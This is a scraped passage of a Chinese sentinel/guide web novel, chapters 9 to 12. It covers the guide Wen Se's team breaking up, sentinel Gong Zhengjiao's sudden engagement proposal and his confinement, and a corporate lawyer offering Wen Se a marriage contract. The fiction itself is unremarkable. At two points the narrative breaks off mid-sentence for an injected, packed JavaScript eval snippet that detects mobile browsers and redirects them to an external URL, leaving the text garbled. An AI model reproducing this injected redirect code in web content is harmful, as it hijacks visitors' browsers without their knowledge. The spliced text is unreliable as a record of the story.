果然,下一刻,门铃就响起来。 闻璱奇怪:“是谁?客户刚和我说车被刮了,至少迟半个小时才能到……我真该换个可视门铃了。” 他正要起身去开门,弓铮皎却抬手按住了他肩膀。 闻璱从善如流,微笑着靠回椅子里,等待着弓铮皎的下文。 “狮子、狼,还有一股阴冷潮湿的气息,和一只犯困的鸡。”弓铮皎淡淡道,“是彭枭吧?” 一只犯困的鸡这个说法,闻璱很喜欢。 但听到前面三个描述,闻璱微微皱眉,道:“是彭枭,还有另外几个队员。他们这么快就从污染区回来了?” 弓铮皎问:“开门吗?” 闻璱叹了一声:“我出去说,你……想听就听吧。” 弓铮皎却虚拦了他一把:“你是不是其实很讨厌彭枭?” “现在还说不上讨厌,只是觉得应付他很麻烦。” “那你为什么一直纵容彭枭这样对待你?”弓铮皎皱眉,“就只是为了苟分?” 似乎这也是一种“不自爱”的举动,而弓铮皎更不明白,那点不多的积分怎么就有这么重要。 不愧是顶级富二代的发言,充满了“富贵的天真”。 闻璱甚至怀疑,彭枭引以为傲的背景,甚至没传到弓铮皎的耳朵里过。 面对着弓铮皎,闻璱也没什么好避讳的,坦诚道:“不只是积分,彭枭他爸爸是白塔警卫部部长,恕我一介普通人,暂时还不想以卵击石。” 弓铮皎皱眉:“可你上次和他吵得那么凶,我以为……” “以为已经算是撕破脸了?并不是。”闻璱微笑,“对彭枭来说,这才哪到哪呢?他就是这么一个贱骨头,过不了几天,他还会凑上来的。” “那你还不快刀斩乱麻?”弓铮皎道,“总不能你真的……” 闻璱忽然问:“你猜猜他为什么会突然发疯?” 弓铮皎干巴巴地说:“他贱呗。” 闻璱一挑眉,点头道:“这倒没错,他确实贱,但也有我的原因。” “白塔上个月新规,所有单身向导必须参加联谊活动,否则在个人排行榜上会积分降权。” 时至今日,说起这事,闻璱仍然对这项新规十分不满。 形势比人强,但上有政策下有对策,闻璱也有的是应付糊弄的办法。 “我让彭枭陪我去参加了,当然,事前我们说好只是装个样子。”闻璱耸了耸肩,“大概是我装得太好了,让他觉得他真的有戏?” 弓铮皎偏心地想:肯定是彭枭自我感觉太良好。 “总之,论坛上那些讨论只有他会在意,并没有影响到我的生活。” 闻璱说着,眉头轻轻一蹙。 他突然觉得话似乎也不能这么说,毕竟污染区里刚发生了矛盾,现在还真说不好,是不是和自己有关。 但弓铮皎忍不住问:“为什么不让逄靥星陪你?” 他酸溜溜地想:难道真的是为了避嫌?但是,就算是前男友,这个忙总是可以帮的吧? 闻璱却道:“我们俩不合适。再说,他大概也无所谓那点积分。” “你倒是很了解他。” 这话就有些酸气扑鼻了。 闻璱并不解释:“我们认识快十年了,我最了解他的地方,你还不知道呢。” 果然,弓铮皎立刻追问:“什么?” 闻璱似笑非笑地看着他,不说话了。 这是闻璱的私事,说不说、说多少,都是闻璱的自由。 这半个多月互为工作室香氛蜡烛的时间,其实并没有对闻璱和弓铮皎之间的关系,产生什么实质上的改变。 他们似乎互相观察、更了解彼此——但仅限于对“各取所需”的熟悉加深。 弓铮皎真正意义上试探到闻璱的私人生活,其实只有把聊天记录转发给闻璱之后,那短短几句话。 而闻璱是真的对弓铮皎的私事从不过问,仿佛除了获取精神力样本,他对弓铮皎没有任何好奇和所求。 偏偏不幸的是,意识到这一点的时候,弓铮皎感觉喉咙发麻,还有些牙痒痒。 不是愤怒在作祟,而是一种狩猎的欲望,在他的血管里流淌,蠢蠢欲动地叫嚣着。 但是…… 弓铮皎说:“我有办法能帮你,一劳永逸,你以后都不用担心会被彭枭纠缠,也不会被降权。” 闻璱一副洗耳恭听的样子。 他认真地看着闻璱,语出惊人:“和我订婚。” 10. 第 10 章 门铃又响了。 闻璱眨了眨眼睛,缓缓问:“你是有什么大病吗?” 如果不是有什么不能通过婚检的遗传病,弓铮皎为什么要把自己贱卖了? 弓铮皎连忙补充道:“只是订婚,你不用担心,也别误会,我不会要求你做任何事。” 这解释反而更可疑了。 闻璱可没忘记,弓铮皎跟自己根本不是一个阶级的。 这位富家公子哥爱做慈善、爱“救风尘”满足一下大哨兵主义、还是单纯的爱当怨种、爱干什么都好,但是,谁会真的蠢到把自己的的“婚姻大事”也搭出去? 闻璱只知道一个道理:无利不起早。 要么弓铮皎真的是个疯子,要么弓铮皎想要索取的东西比这更高。当然,也可能二者皆有。 他微微笑了:“做到这个地步,至于吗?” 门铃声第三次响起,显然外面的人耐心即将告罄,现在并不是深入讨论这个问题的好时候。 闻璱抬手轻轻拍过弓铮皎手臂,算是一种停止话题的暗示,然后开门独自出去。 不过,他也知道,隔音门根本无法阻拦顶级哨兵的听觉。 门外,彭枭带着另外三个哨兵已经等得有些不耐烦。 尤其是在见到闻璱出现之后,立刻像上次一样反手带上了门,彭枭的脸色更是黑上加黑。 “谁在屋里?”彭枭问。 闻璱就当没听到,视线依次扫过彭枭身后。 三个哨兵都曾是闻璱招揽来的朋友,此刻神态各异。 其中,苔原狼哨兵悄悄对彭枭的后脑勺翻了个白眼,算是表明了自己的态度。 闻璱开口时,声音还算轻快:“什么事?” 苔原狼哨兵道:“胖队说……” 话没说完,彭枭打断她的话,眼睛死死盯着闻璱,咬牙切齿地又问了一遍:“谁在屋里?我问你,你又藏了谁?” 闻璱面不改色:“客户。” “还装?”彭枭冷笑一声,“你的客户还在修车厂呢。” 闻璱这才稍沉了脸色,冷冷道:“你找人刮他的车?能别这么幼稚吗?” “没找人,他亲自去的。”苔原狼哨兵补充了一句,“比你想象的还幼稚。” 弱智的伎俩惨遭“自己人”戳破,彭枭自觉没面,立刻回头瞪了苔原狼哨兵一眼。 苔原狼哨兵却不怕他,干脆挤在彭枭和闻璱的另一侧,隐隐在玄关处狭窄的空间形成三足鼎立之势。 她双臂环胸,不耐烦道:“彭枭,我不关心你又想搞什么幺蛾子,我是来处理正事的,别浪费我的时间。” 闻璱也点点头,问苔原狼哨兵:“在污染区到底发生了什么?” “彭枭和小冬落单,小冬受了伤,说彭枭对他动手,彭枭说没有。他俩一直僵持着,谁也说服不了谁,就只能分开了。” 苔原狼哨兵说着又翻了个白眼,似乎完全不能理解,为什么两个任务经验丰富的成年特种人,居然能像俩三岁小孩一样互扯头花,还为这种小事闹成这样。 小冬就是队伍分裂之后,跟逄靥星继续进行任务的向导,也是闻璱脱队后队伍里唯一一个向导。 闻璱也觉得匪夷所思:“小冬伤得重吗?” “不重,再晚喊两声都要愈合了。”苔原狼哨兵补充了一句,“这件事,小冬其实没有证据,我们都希望任务优先,但是胖队站小冬,非要彭枭认错。” 闻璱蹙眉:“逄靥星就是这么处理事情的?” 一直在旁边没插嘴的银环蛇哨兵不满道:“小冬都哭鼻子了,胖队还能说什么?” 苔原狼哨兵也点点头,似乎也认为逄靥星是出于私心而这样决定,对此不敢苟同。 彭枭张了张嘴,把原本要辩解的话咽了回去。 他突然觉得这样也不错,对比显得逄靥星冲动用事,而他忍气吞声,高下立判。 结果,好半天也没人说彭枭想听的话,彭枭实在忍耐不住,假装中肯地说:“不谈我们间的个人恩怨,逄靥星根本不适合做副队长。” 可他的心里话昭然若揭:适合做副队长的人是他彭枭。 闻璱没给他一个眼神,看向另外三个哨兵:“所以,你们今天来找我,是认为应该由彭枭来做这个副队长?” 见闻璱如此顺着自己的意,彭枭没出声,但得意的表情已经是比说再多话都直接的认可。 苔原狼哨兵和银环蛇哨兵却异口同声道:“不是。” 两人对视一眼,苔原狼哨兵说:“彭枭是这个意思,但我不支持彭枭,我今天来,只是单纯地想跟你说一声,我们俩打算退出了。” 闻璱一怔,就听苔原狼哨兵立刻解释道:“不是因为这件事,是私人原因,闻队你也别问,我不想说。” 话都说到了这个地步,闻璱也只能点头:“好吧,改天我们找个时间一起去登记。祝你们以后一切顺利。” “当然。”苔原狼哨兵道:“以后我们也还是朋友,有事随时找。” 银环蛇哨兵也做了个打电话的手势。 两人说完自己的话,也不管彭枭又是怪话连篇又是跳脚,一起走了。 闻璱忽略彭枭,看向一直冷眼旁观的金狮哨兵:“那你呢?” 金狮哨兵瞟了一眼疯狂使眼色的彭枭,最终咬了咬牙,还是道:“我、我只是想来找你问问。” “闻队,论坛上那些流言到底是不是真的?你到底有没有……”金狮哨兵话没问完,自己也觉得自己这样显得很不够意思,声音渐渐小了。 因为闻璱定定地看着他。 正因为他们曾是队友,金狮哨兵知道,闻璱这样是真的有些生气了。 也正因为他们曾经并肩作战,这个眼神才会让金狮哨兵紧张得冷汗直流——他清楚,眼前的闻璱可和刻板印象中向导该有的感性、柔弱,毫不相干。 在闻璱平静而稍嫌冷漠的目光中,金狮哨兵低声说:“你很久没有参加任务了,就是因为这样……来钱更快?” 闻璱定定地看着他,一字一顿道:“我没有做过那些事。” 至于不参加任务,是因为拟态孤独症。 但是,或许是出于某种不想看到他人“怜悯”目光的心理,闻璱没有把得病的事告诉任何人。 “那你为什么不去澄清一下?这些天,论坛上都在讨论,还有很多朋友来问我,我觉得很尴尬。而且以我们的关系,就算你真的做了那种事,也没必要瞒着我们,我们又不像彭枭那么小心眼。”金狮哨兵道。 一旁的始作俑者彭枭顿时瞪大了眼睛,没想到他竟然这么说。 闻璱也没想到,他不质问始作俑者为什么要这样做,反而来质问自己,为什么不去自证一件莫须有的事情。 他不再看金狮哨兵,转而问彭枭:“你到底有没有对小冬做什么?” “没有!他是什么很好欺负的软柿子吗?我怎么敢打他!”彭枭不敢置信,“而且大家都说了他没有证据,你还来质问我?你就这么偏心他和逄靥星?” 闻璱对他说:“我只是单纯不相信你。” 彭枭刚要辩解,闻璱淡淡道:“既然大家各自都有想法,天下无不散之筵席,我们也不例外,这个队伍就到此为止吧,祝你以后也顺利。” 金狮哨兵没想到是这个结果,立刻道:“我不是这个意思,我……” 显然,金狮哨兵还想和闻璱呆在一个小队里。 “是解散,还是我和逄靥星退队,这件事还要等逄靥星和小冬回来之后再说。”闻璱一锤定音。 “我还有事,不招待了。”他敲了敲自己的门板,意有所指,“就像你们认为的,我要准备‘开张’了。” 金狮哨兵欲言又止片刻,终究抵不过闻璱目光的压力,即便知道这只是送客的说辞,还是麻利走了。 彭枭却还赖在门口,好半天憋出来三个字:“对不起。” “接受了。”闻璱还是和上次一样的态度,“立刻滚。” “我只是想和你好好聊聊,你我心知肚明,你的客户还在修车厂,你根本开张不了。”彭枭好声好气道。 但说到这里,彭枭脑袋里又回放起闻璱出来之后,立刻关门的动作,语气急转直下:“等等,你在屋里藏了人对不对?是谁?这么早就来了?不对……难道他昨天晚上就没走?” 彭枭越说越被自己的臆想气得脸色铁青。 闻璱早习惯了他的变脸绝技。 反正客户也来不了,不用操心被彭枭堵在门口,闻璱拉开门闪身进屋。 尽管这套开门、闪进屋、关门的动作一气呵成,已经十分迅速,但还是比彭枭慢了一步。 彭枭把手臂卡进门缝,摆明了要耍赖到底。 而这招也确实有效,闻璱不心疼他那只手……却不敢在房东面前,真的让彭枭把门挤坏。 好在房东自己财大气粗,不在意这扇门。 “嗵”地一声,一只手拧着那节硬卡进来的小臂推开门,直接把彭枭扔下玄关,推进了拐角放置垃圾箱的小巷里。 紧接着,还有一袋封口没抽紧的垃圾,跟着一起被丢出来,砸在彭枭脸上。 袋口散开,垃圾挂了彭枭一身。 看着彭大公子成功cosplay流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻璱则转头钻进置办之后就很少使用的小衣帽间。 等到弓铮皎洗完手出来,沙发旁边放了一双新的拖鞋。 “新的。”闻璱说,“你不是不喜欢其他哨兵的味道吗?” 说着,又递来一个密封袋,让弓铮皎可以把自己的鞋子打包好。 弓铮皎心道:其实也没有那么敏感。 毕竟,对“竞争者”和“手下败将”的态度,自然是天差地别。 低下头换鞋时,弓铮皎耳边又传来闻璱的声音:“今天谢谢你。” “没关系。”他一边打包自己的鞋,一边又提起之前的话题,“我之前跟你说的事,你可以考虑一下。不着急,但最好尽快吧。” 他一向是茅盾文学家,不过这次事出有因,毕竟彭枭确实阴魂不散。 只不过,有的条件闻璱永远不可能接受,相应的,也没有花时间考虑的必要。 闻璱没有出声,但似乎不出声已是一种回答。 等弓铮皎收拾好之后,闻璱温和道:“下周逄靥星应该就回来了,你也听到了,到时候我要去白塔和公会办手续,所以,那几天都不会安排工作。” 当然,也不会出现在工作室。 也就是说,下周弓铮皎也放假了。 闻璱说这话似乎也并不是为了威胁,他顿了顿,又道:“向导素还够用吗?或者,我也可以提前给你再调整一下感官。” 他总是体贴地,不会用涉及哨兵健康的事情来威胁弓铮皎。 但是,也很无情地在保证弓铮皎健康的情况下,拉开他们之间仿佛才近了一小步的距离。 弓铮皎沉默片刻,知道是自己这一步棋走得冒犯了。 可是,玩拉扯,他又怎么可能是闻璱的对手。 他轻抿薄唇,突然问:“下午能休息吗?还有明天,可能还有后天,甚至这整周。” “我有些事想跟你说。”弓铮皎缓缓抬起头,认真地看着闻璱,“去我家,好不好?” 这本来是个很暧昧的邀请,就像是“到被窝里来,给你看看我的夜光手表”。 刚被烂桃花纠缠过的闻璱更不是一个这样单纯的蠢货。 更何况,弓铮皎还是一个背景很大、对向导素有非正常需求的S级哨兵。 无论从哪个角度出发,闻璱都觉得自己应该婉拒。 ……如果弓铮皎不是又用那种渴望的目光看着自己的话。 那蓝紫色的眼睛里是再直白不过的贪婪、是渴望。 但与性、或是其他的什么的索求都无关。 仿佛只是垂死之人挣扎着——甚至只是在生命最后的时间,想要吃一口冰激凌的那种贪婪和渴望。 11. 第 11 章 闻璱最终没有给出答复。 因为,只不过是他思索迟疑的片刻功夫,弓铮皎又改了口:“还是算了。我突然想起来家里没收拾。周末吧,等我收拾一下房间再邀请你。” 看起来有些心虚,又似乎很诚挚,纯真得好像真的只是想给闻璱看看他的夜光手表。 闻璱微一挑眉,淡淡道:“我可能没空,到时再看吧。” 这场不尴不尬的对话结束之后,弓铮皎不再多留,很快就上楼回家。 直到下午的工作结束,闻璱准备回宿舍,弓铮皎也没有再出现。 临走前,闻璱鬼使神差地抬头看了一眼。 智能玻璃很好地保护着屋里人的隐私,连一丝细微的光都没有透出来,更别说叫人看出窗前是否有一道身影。 但不知为何,闻璱总觉得,玻璃的另一面,应该有一双蓝紫色的眼睛,久久地凝视着自己。 到宿舍之后,屋里又是满地水迹。 闻璱想发火也找不到犯罪嫌疑人,只能隐忍地打扫卫生。 洗抹布的时候,他才想起来手上多了一样稍显名贵的首饰。他摘下手链,随手放在一边。 等到大扫除完毕,闻璱也是一身薄汗。 他快速冲了个澡,从狭窄的浴室里出来,想起来要把手链重新戴上时,发现洗手台上空空如也。 闻璱还以为是自己打扫时顺手转移了手链,他一边擦头发,一边推开洗手间的门,打算再找找看。 浴室里空气闷热,熏的人头脑发昏,门一打开,闻璱就被微冷的风吹得精神抖擞。 书桌前的窗户大敞,而那串手链飘在空中。 闻璱看去时,手链飘得更高了一些,然后突然掉回桌面,发出清脆的响声。 月光下,这闹鬼般的场景别有一番惊悚的唯美。 但闻璱立刻反应过来,是小黑。 他丢下毛巾,立刻冲到桌前,对着空气伸出手,试探着想要触摸小黑。 然而,什么都没有发生,仿佛刚才的一切都只是闻璱的错觉。 说不失望是假的。 只是,闻璱患病已经两年多,即便一开始再不愿接受这件事,现在也已经被现实毒打得不得不接受了。 他在桌前坐下,罕见地放空大脑,发了一会呆,才把手链拿起来重新戴上。 终端一直在震动,闻璱好半天才拿起来,慢吞吞地点开这些扰人的消息。 没想到发消息的人竟然是苔原狼哨兵,权冽。 权冽一向话少,且不八卦、最讨厌麻烦,闻璱和她认识七八年了,也没怎么在社交媒体上聊过天。 而现在,她竟然发来十几条消息轰炸闻璱。 闻璱点开一看,顿时也愣了。 十几张多数是照片,拍照人手抖得像是用筋膜枪拿着终端,照片被隐私保护自动打码之后,更是乱七八糟。 只能勉强看出,似乎是什么事故现场被白塔警卫封锁,很多路人围在周边。 翻看照片时,权冽又发来几条文字消息。 孤傲的狼:【和朋友散步时拍到的。】 孤傲的狼:【听说是有哨兵和普通人之间的斗殴流血事件,整栋楼都被封了。】 闻璱总觉得哪里有点不对劲,但更多的是奇怪:斗殴就斗殴,跟自己有什么关系。再说,权冽什么时候开始爱凑这种热闹了? 孤傲的狼:【这不是你工作室吗?】 闻璱:! 终于知道这莫名的熟悉感从何而来,原来事发地点是他的工作室! 那关系可就大了。 闻璱:【怎么回事?】 孤傲的狼:【不知道,不过应该没什么大事,据说人已经被拉到白塔了。】 闻璱:【我是说我的工作室没事吧?我现在过去。】 孤傲的狼:【那可能有点事,你应该不用来了。】 孤傲的狼发来一张新拍的照片。 还是那么手抖,硬生生把张贴的封锁公告拍出了摄魂怪在吸魂的效果。 闻璱放大图片,艰难地看出来几个字:调查期间封禁。 调查期间,封禁。 署名是警卫队。 一时间,闻璱也忍不住起疑——不会真的是彭枭在搞鬼吧?上午挨了揍,晚上警卫队就来封楼。 可他无论如何也想不通,弓铮皎不是传说中比彭枭更不可说的“二代”吗? 不论如何,闻璱得亲自过去看一眼。 下楼梯的时候,闻璱歪着脖子夹住终端,拨通了弓铮皎的通话。 果然,连着两次都是无人接听,看来斗殴事件中的哨兵方是谁,已经破案了。 虽然闻璱还不太确定,这到底是真的假的。 如果是真的,为什么才一个下午没见,弓铮皎就突然和一个普通人斗殴,还被带走了? 他倒是不担心弓铮皎的人生安全,S级哨兵又不是地里的白菜,哪来那么多能和弓铮皎碰一碰的猛人。 闻璱转而切到小号,开始挨个给客户发消息告知此事。 幸好快到周末了,已定下时间的客户不多,这也确实算是个“不可抗力”事件,多数哨兵在得知之后果断接受了致歉和取消的安排。 地铁已经停运,闻璱只能扫了一辆自行车骑到车站,又坐夜班公交车辗转到了工作室。 等到达工作室时,已是大半夜。 果然,离还有近百米距离就已经被限制进入,此刻仍然有几个好事人群在警戒带外张望。 闻璱混在其中,随便找了个路人问:“这是怎么了?” “听说是有特种人对普通人的暴力事件,警卫部的人也才刚走。” “性质这么恶劣啊,怎么回事?” “好像是小偷入室盗窃,被哨兵房主抓住了暴打。” “就算是入室盗窃,特种人也不能这样吧?对面可是普通人。” “果然这些暴力分子应该和普通人隔离。” 入室盗窃? 就弓铮皎那感官能力,哪来的小偷能偷摸进弓铮皎的家?确定是普通人不是三体人吗? 闻璱大受震撼,结果挤进去一看,发现封锁公告上竟然真的是这样写的。 逗留片刻,闻璱确定现场确实打听不到其他消息,便转道走去白塔。 也多亏这里离白塔很近,不过十分钟,闻璱就到达白塔,但因为没有许可,被挡在警务中心门口。 闻璱对此倒不大意外,思考的功夫,他拿出终端顺手又给弓铮皎拨了一个通话。 刚播出去,他竟然听到嗡嗡的震动声从不远处传来。 只见警务中心的办公桌后,一个西装革履的男人拿着弓铮皎那个浮夸得耀眼的终端,四下环顾一周,和闻璱的目光对上了。 闻璱挂了通话,看着西装男向自己走来。 他敏感地察觉到,西装男身上并没有特种人该有的精神力波动,也就是说,这是一个普通人。 “您是弓先生的朋友?”西装男礼貌地伸出手,“您好,我姓张,是弓先生的律师,请您跟我来。” 闻璱轻轻地握了一下手:“叫我闻璱就行。” 有张律师带路,这一次,闻璱没有再遭到任何阻拦。 穿过长长的走廊和通道,直到进入一部沉重的电梯,闻璱心里一沉。 闻璱此前没有进入过警务中心,但这部特殊电梯,在整个白塔的所有设施都有搭建,只通向一个地方——疗愈中心。 也就是哨兵们口中的“小黑屋”。 张律师注意到闻璱脸色微变,却仍然什么都没有问,忍不住道:“您似乎不好奇发生了什么?” “好奇。”闻璱说,“那您能告诉我吗?” 张律师面露无奈:“抱歉,暂时还不行。” 电梯在沉默中停下,工业风的大门缓缓打开,疗愈中心到了。 闻璱跟在张律师身后,缓缓步入这片昏暗而狭长的走廊。 地板上铺了消音效果很好的地毯,环境安静得闻璱几乎只能听到行走之间,自己衣物的摩擦声。 之所以被称为小黑屋,其实就是因为这里符合一切小黑屋的特征。 安静、黑暗、封闭。 整个设施都为了“照顾”哨兵敏锐的五感而建造。 而在这条走廊的末端,连接着许多个单独的特殊静音室。 与其他设施中,用脸就能刷开的寻常静音室相比,小黑屋的区别在于,其中搭载了次声波武器,以便能够在最紧张的情况下,把实在无法被控制哨兵和精神体无害化处理。 当然,这是实在没有其他办法的最终手段。 张律师带闻璱在疗愈中心的总导诊台处进行登记,并领取了专门的收音麦。 外观看起来很像是口罩,但使用特殊材料制作,兼具过滤和隔音的效果,说话声会通过贴在耳朵上的通讯器传导。 见闻璱佩戴的动作十分熟练,张律师问:“闻先生,您来过这里?” “这里的全称是特种人疗愈中心,向导也是特种人。”闻璱道。 “抱歉,我以为只有哨兵会是这里的常客。” 从总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418160|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导诊台后进入某条走廊,一直走到末端,张律师终于停下脚步。 操控墙壁上的控制系统之后,智能玻璃门变成了单向可视模式,闻璱终于看到…… 不,闻璱什么也没有看到。 因为这是小黑屋。 对于状态不稳定的哨兵来说,细微的光亮也足够令他们不适,所以小黑屋简直像个吸光的黑洞,连走廊上微弱的光线,仿佛都会被它吸走。 张律师当然也两眼一黑,字面意义上的。 “总之,弓先生现在在里面。”张律师感叹道,“特种人也真的很不容易啊,尤其是像弓先生这样的哨兵,虽然在外面时常光鲜亮丽,但是背后的苦又有谁能知道呢?” 闻璱面无表情,静静听张律师表演。 张律师继续说:“其实弓先生也很无奈,但是您也知道,为了社会安定,涉及哨兵失控,白塔一向是顶格处理。所以,弓先生恐怕还要在这样漆黑孤独的环境里呆上……呆上至少一周,唉。” 见闻璱仍然不为所动,张律师终于说,“我想,您可能会想问,究竟发生了什么,弓先生为什么会被抓到这里?” 闻璱却问:“那栋楼也要等他出来了才会解封?” “其实是因为……呃,目前来看,是的。”张律师险些没能悬崖勒马住原本的话。 “出了这种情况,影响到我的工作,是不是该赔我误工费?”闻璱看向张律师,“张律师,您能帮我进去问问他吗?” 张律师惊讶道:“我还以为您是因为关心弓先生的情况,才会来到这里的。” “他很需要谁的关心吗?我不觉得。”闻璱缓缓道,“你拿着他的终端坐在警务中心,就是为了等到有一个人来关心他?” “不,我只是……” “有话直说吧,张律师,别跟我兜圈子了。”闻璱道。 张律师沉默片刻,终于道:“好吧,我还以为向导都会比较感性,您和我所接触过的向导很不一样。” 顿了片刻,张律师又说:“您可能还不太了解我的立场,其实,我的老板并不是弓铮皎先生。” 说着,张律师从胸口抽出一张名片递给闻璱。 名片是烫金的,特定字迹做了荧光处理,闻璱清楚地看到张律师的名字下面,写着“希冕创辉”几个字。 希冕创辉,生物制药行业的寡头,也是白塔和公会的主要投资方。 但是,希冕创辉应该只有一些特种人相关的实验项目,为什么一个特种人与普通人斗殴的社会事件,会引起希冕创辉的关注? 而且,据闻璱所知,希冕创辉是绝对的以普通人为主的公司,公司高管普通人占比高达百分之百,更不用说创始人和目前的…… 目前的董事长,姓宫。 闻璱一怔,终于明白了为什么,也知道了弓铮皎那大到甚至没人敢直说的背景。 张律师时刻关注着闻璱,当然没有错过闻璱一时怔愣的表情。 他缓缓道:“您心里清楚就好,请不要说出去。” 闻璱只觉得这话实在多此一举,看看论坛上之前那些讨论,自己恐怕才是最后一个知道这件事的人。 更何况,从“宫”改成“弓”,简直是不怕人猜不到,大家都只是心照不宣而已。 不过,希冕创辉需要的,或许也就是这种“不宣”。 一个曾经大放异彩的前任首席哨兵,令开展特种人相关项目时阻力更小,更容易被信任。 明面上,公司的形象不受影响,即便风言风语再如何受人关注,只要不承认,必要时,就可以用“巧合而已”来撇清关系。 但闻璱反而更困惑了,弓铮皎其实是不能暴露的财阀之子,所以呢? 难道就是为了证明“天子犯法与庶民同罪”,连甲方家的孩子触犯规定,都会被强制关入疗愈中心,可见白塔实在公平公正? 简直是莫名其妙…… 面对闻璱露出的一丝费解,张律师终于满意了。 他打开公文包,拿出一份文件递给闻璱,郑重道:“我受弓先生的叔叔委托而来,希望您能接受这份合同。” 闻璱翻开第一页,就又一次被狠狠地震撼在原地。 只见上面几个荧光的大字:婚前财产协议。 “我老板希望您能和弓先生缔结一段亲密的关系,当然,这份协议对您并没有任何限制和损伤,您反而会从中获利。不过,请不要让弓先生知道这份合同的存在。” “简而言之,”张律师推了推眼镜,“我老板希望您可以和弓先生尽快成婚。” 12. 第 12 章 天上掉“馅饼”的事一二再、再而三地发生,以至于闻璱不禁开始怀疑,难道自己长得像个盘子? 闻璱迅速浏览过合同,发现条款真的诚如张律师所言,看起来没有一条对自己有害,反而白纸黑字写下:弓铮皎死后,闻璱作为合法配偶可以继承弓铮皎的全部遗产。 闻璱不会认为是张律师的老板慈悲为怀,只会认为财阀的法律咨询团队实在缜密,连挖坑都如此天衣无缝,令人无法察觉。 但他还是忍不住问:“张律师,到底是你疯了,还是你老板疯了?” 张律师呵呵笑道:“我就知道您会意外,这很正常。” 他操控面板关闭了可视模式,反正闻璱和他都什么也看不到。 “无事献殷勤,非奸即盗,我非常理解您对此感到防备。但您不妨也想一想,您又有什么是值得我们谋求的呢?” 话语尖锐,但确实是事实。 闻璱并不否认,一边翻看合同,一边听张律师继续。 “说实话,我老板并不在意您,但他是一个怜惜孩子的长辈。”张律师道,“弓铮皎先生特种人的身份敏感,以至于他不得不成为一个‘见不得光的私生子’,也无法继承任何公司相关的财产,甚至连姓都不能保留,对此,我老板深感歉疚。所以,在其他方面,我老板希望能够满足他的所有需求,比如您。” 张律师微微一笑:“弓铮皎先生很喜欢您,这就是这份合同会被拟定的唯一原因。” “是吗?”闻璱不置可否。 他觉得张律师似乎也不太了解弓铮皎的样子。 “所以这些天,你找人监视我?” 如果确有此事,弓铮皎肯定不会察觉不到,闻璱将立刻判处他“知情不报”的罪名。 “哦,您误会了,有些事并不需要监视。”张律师推了推眼镜。 “您可能觉得,和弓铮皎先生才认识不久,但其实,弓铮皎先生已经默默关注您很长时间了。但您不用害怕,他并没有任何过激行为,只是一个不知道该如何表达爱的孩子。” 一个二十八岁的大孩子……闻璱听得甚至想笑。 “我说这些话,只是为了让您相信,弓铮皎先生确实对您很感兴趣。您也不用担心以后的事,即使弓铮皎先生变心、要求离婚,您也会按照法律程序,顺利分得一半的婚内财产。” 说着,张律师示意闻璱翻到某一页,清单洋洋洒洒地列出了新婚礼物。 “即便这场婚姻只存续了一个月,您也能获得这上面一半的资产,这对您来说,无论如何都亏不到。” 闻璱挑了挑眉毛:“花好几个亿找人陪弓铮皎扮家家酒,把这件事说得这么功利,就不怕伤感情?” 张律师笑了:“您说笑了,您对弓铮皎先生并没有什么感情,这一点刚才我已经亲自确认。既然如此,通过金钱来培养您对弓铮皎先生的爱意,未尝不可。” 张律师似乎完全不觉得自己的话有什么不对,转而道:“请理解我已调查过您的信息,您罹患某种罕见病,治疗费用高昂,为此您已经散尽家财,仍然杯水车薪。” 闻璱笑容微敛。 果然,张律师继续道:“您差的不只是钱财,还有技术,而这恰好是我老板拥有话语权的领域。希冕创辉愿意为您的病症创立专门的基金会,并邀请专家加入——只要您能让弓铮皎先生开心。” 如果巨款不能换来感情,那救命的恩惠呢? 闻璱淡淡道:“万一我演太好,但病情恶化,死在他最爱我的时候,让他悲痛一生,又怎么办?” “您真风趣。”张律师笑道,“关于这一点,您也大可以放心,您的病症即便暂时无法寻找到根治的办法,但以我老板的能力,绝对有信心让您长命百岁。” “而且,是健全且不受病痛困扰地活下去,至少维持住您现在的状态,不会让您沦落得人模鬼样。”张律师又补充了一句,“毕竟,那样弓铮皎先生也会难过的,他没有什么大志向,只是想组建一个幸福的家庭,这也是我老板最想要补偿他的地方。” 这听起来实在是一本万利,让人忍不住羡慕,原来有钱人家的小孩真的可以同时拥有钱和爱。 闻璱垂下眼眸,不知是被真情还是金钱打动了几分。 他心里清楚,杀猪盘如果做到如此完善的地步,一定是从中攫取的利益更多。 弓铮皎如此,希冕创辉,只会更深不可测。 昏暗的环境里,连手链上那颗本来很亮的的宝石都显得雾蒙蒙。 闻璱道:“让我考虑考虑吧。” 在张律师的眼里,这无非是一个故作矜持的举动。 他调查过闻璱的信息,判断闻璱没有出卖身体,并不是因为品性高洁,而是因为以闻璱的能力,安抚哨兵比当鸭子来钱更快,也更轻松、安全。 可见闻璱为了钱应当是不择手段的——虽然是为了治病。 总而言之,张律师并不认为闻璱真的会拒绝。 他点点头,微笑道:“随时期待您的答复。” 说着,他拿出弓铮皎的终端晃了晃,示意闻璱可以直接拨通弓铮皎的通话来联络他。 到此为止,这件事在张律师看来已经算是完成了90%,只差闻璱拉下脸这最后一个节点。 张律师转头就准备走,迈出几步远,却发现并没有人跟上来。 他回过头,闻璱还站在房间门口,夹着合同,眼睛却看向小黑屋的门。 “闻先生?”张律师提醒了一句。 “刚才忘了问,”闻璱说,“他是为什么进来的来着?” 张律师笑了一声:“您这就开始关心他了,真是随机应变,这样也很好。” “谢谢。” “入室盗窃,就像公告上说的那样,您没看吗?”张律师道,“弓铮皎先生总是很天真,让保洁员误以为他只是一个人傻钱多的公子哥,动了不该动的心思。唉,毕竟弓铮皎先生看起来,确实不像是哨兵那种很吓人的家伙,对吧?” “但他面对背叛时,总是很冲动。” 若有深意地说完最后一句话,张律师不再逗留,身影消失在走廊昏暗的灯光下。 